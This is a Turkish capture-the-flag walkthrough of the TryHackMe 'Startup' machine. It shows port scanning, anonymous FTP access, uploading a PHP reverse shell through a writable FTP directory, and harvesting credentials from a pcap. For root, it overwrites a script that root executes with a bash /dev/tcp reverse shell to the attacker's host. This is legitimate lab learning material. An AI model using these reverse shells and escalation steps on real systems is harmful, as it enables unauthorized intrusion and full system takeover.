TryHackMe – Startup Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Startup” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV -p- 10.10.152.72
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-09 19:52 +03
Nmap scan report for 10.10.152.72
Host is up (0.065s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

2 — “anonymous:anonymous” ile FTP servisine bağlanıyorum ve dosyaları indiriyorum. Dosyalar içerisinden “maya” isminde bir kullanıcıya ulaşıyorum.

[root:/home/alper/Desktop/TRYHACKME]# ftp 10.10.152.72 
Connected to 10.10.152.72.
220 (vsFTPd 3.0.3)
Name (10.10.152.72:alper): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||11163|)
150 Here comes the directory listing.
drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp
-rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||35875|)
150 Here comes the directory listing.
drwxr-xr-x    3 65534    65534        4096 Nov 12  2020 .
drwxr-xr-x    3 65534    65534        4096 Nov 12  2020 ..
-rw-r--r--    1 0        0               5 Nov 12  2020 .test.log
drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp
-rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
226 Directory send OK.

3 — Dizin taraması yapıyorum.

[root:/home/alper/Desktop/TRYHACKME]# gobuster dir -u http://10.10.152.72 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.152.72
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/09 20:00:26 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/files                (Status: 301) [Size: 312] [--> http://10.10.152.72/files/]
/index.html           (Status: 200) [Size: 808]
/server-status        (Status: 403) [Size: 277]

4 — “/files” dizinine girdiğim zaman FTP servisindeki dosyaları görüntüleyebildiğimi görüyorum. Bunun üzerine tekrar FTP servisine bağlanıp “php reverse shell” dosyası yüklüyorum. Tarayıcıdan tıklayarak bağlantıyı tetikliyorum.

[root:/home/alper/Desktop/TRYHACKME]# ftp 10.10.152.72                                                           
Connected to 10.10.152.72.
220 (vsFTPd 3.0.3)
Name (10.10.152.72:alper): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd ftp
250 Directory successfully changed.
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||20700|)
150 Ok to send data.
100% |*************************************************************************|  2354       56.12 MiB/s    00:00 ETA
226 Transfer complete.
2354 bytes sent in 00:00 (17.62 KiB/s)
ftp> exit
221 Goodbye.
[root:/home/alper/Desktop/TRYHACKME]# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.152.72 45754
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 17:02:35 up 13 min,  0 users,  load average: 0.00, 0.21, 0.35
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

5 — “incidents” klasörünün içerisinde bir “pcap” dosyası buluyorum. Pythondaki “http server” modülü ile 8000 portunda bir http servisi açıp buradan kendi bilgisayarıma aktarıyorum. Diğer bir yol olarak da “ftp” dizinin içine atarak da ftp servisine bağlanıp alabilirsiniz.

$ SHELL=/bin/bash script -q /dev/null
www-data@startup:/$ ls
ls
bin   home       lib   mnt       root  srv  vagrant
boot  incidents       lib64   opt       run   sys  var
dev   initrd.img      lost+found  proc       sbin  tmp  vmlinuz
etc   initrd.img.old  media   recipe.txt  snap  usr  vmlinuz.old
www-data@startup:/$ cat recipe.txt
www-data@startup:/$ cd incidents.txt
www-data@startup:/$ ls
ls
suspicious.pcapng
www-data@startup:/$ python3 -m http.server 8000
[root:/home/alper/Desktop/TRYHACKME]# wget http://10.10.152.72:8000/suspicious.pcapng
--2023-06-09 20:16:20--  http://10.10.152.72:8000/suspicious.pcapng
Connecting to 10.10.152.72:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31224 (30K) [application/octet-stream]
Saving to: ‘suspicious.pcapng’

suspicious.pcapng             100%[===============================================>]  30.49K  --.-KB/s    in 0.07s   

2023-06-09 20:16:20 (455 KB/s) - ‘suspicious.pcapng’ saved [31224/31224]

6 — Wireshark dosyasını inceliyorum. Herhangi bir TCP paketine (bulamazsanız 177. paket) tıklayıp (Follow -> TCP Stream) dediğimde karşıma bazı bilgiler çıkıyor. “Lennie” kullanıcısı ve parolasını görüyorum. “lennie” kullanıcısı ile SSH servisine bağlanmaya çalışıyorum.

www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ ls
ls
lennie
www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ sudo -l
sudo -l
[sudo] password for www-data: *CENSORED*

7 — SSH bağlantısı kurduktan sonra ilk bayrağımı elde ediyorum.

[root:/home/alper/Desktop/TRYHACKME]# ssh lennie@10.10.152.72
*
*
*
$ whoami
lennie
$ ls
Documents  scripts  user.txt
$ cat user.txt
*CENSORED*
$

8 — “scripts” klasörünün içinde planner.sh adında bir dosya buluyorum. Bu dosyayı incelediğimde “LIST” adındaki bir çevre birimini startup_list.txt dosyasına yazdığını daha sonra /etc/print.sh adındaki bir betiği çalıştırdığını görüyorum. Daha sonra /etc/print.sh dosyasının içerisine bir bash reverse shell koyup bağlantı almayı bekliyorum.

$ ls -la
total 16
drwxr-xr-x 2 root   root   4096 Nov 12  2020 .
drwx------ 5 lennie lennie 4096 Jun  9 17:22 ..
-rwxr-xr-x 1 root   root     77 Nov 12  2020 planner.sh
-rw-r--r-- 1 root   root      1 Jun  9 17:24 startup_list.txt
$ cat planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
$ cat startup_list.txt

$ cat /etc/print.sh
#!/bin/bash
echo "Done!"
$ ls -la /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12  2020 /etc/print.sh
$ cat > /etc/print.sh << EOF
> #!/bin/bash
> bash -i >& /dev/tcp/10.8.94.51/4444 0>&1
> EOF 

9 — Root kullanıcısı ile bir bağlantı elde ettikten sonra ikinci bayrağı da elde ediyorum.

[root:/home/alper/Desktop/TRYHACKME]# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.152.72 45812
bash: cannot set terminal process group (1775): Inappropriate ioctl for device
bash: no job control in this shell
root@startup:~# whoami
whoami
root
root@startup:~# cat /root/root.txt
cat /root/root.txt
*CENSORED*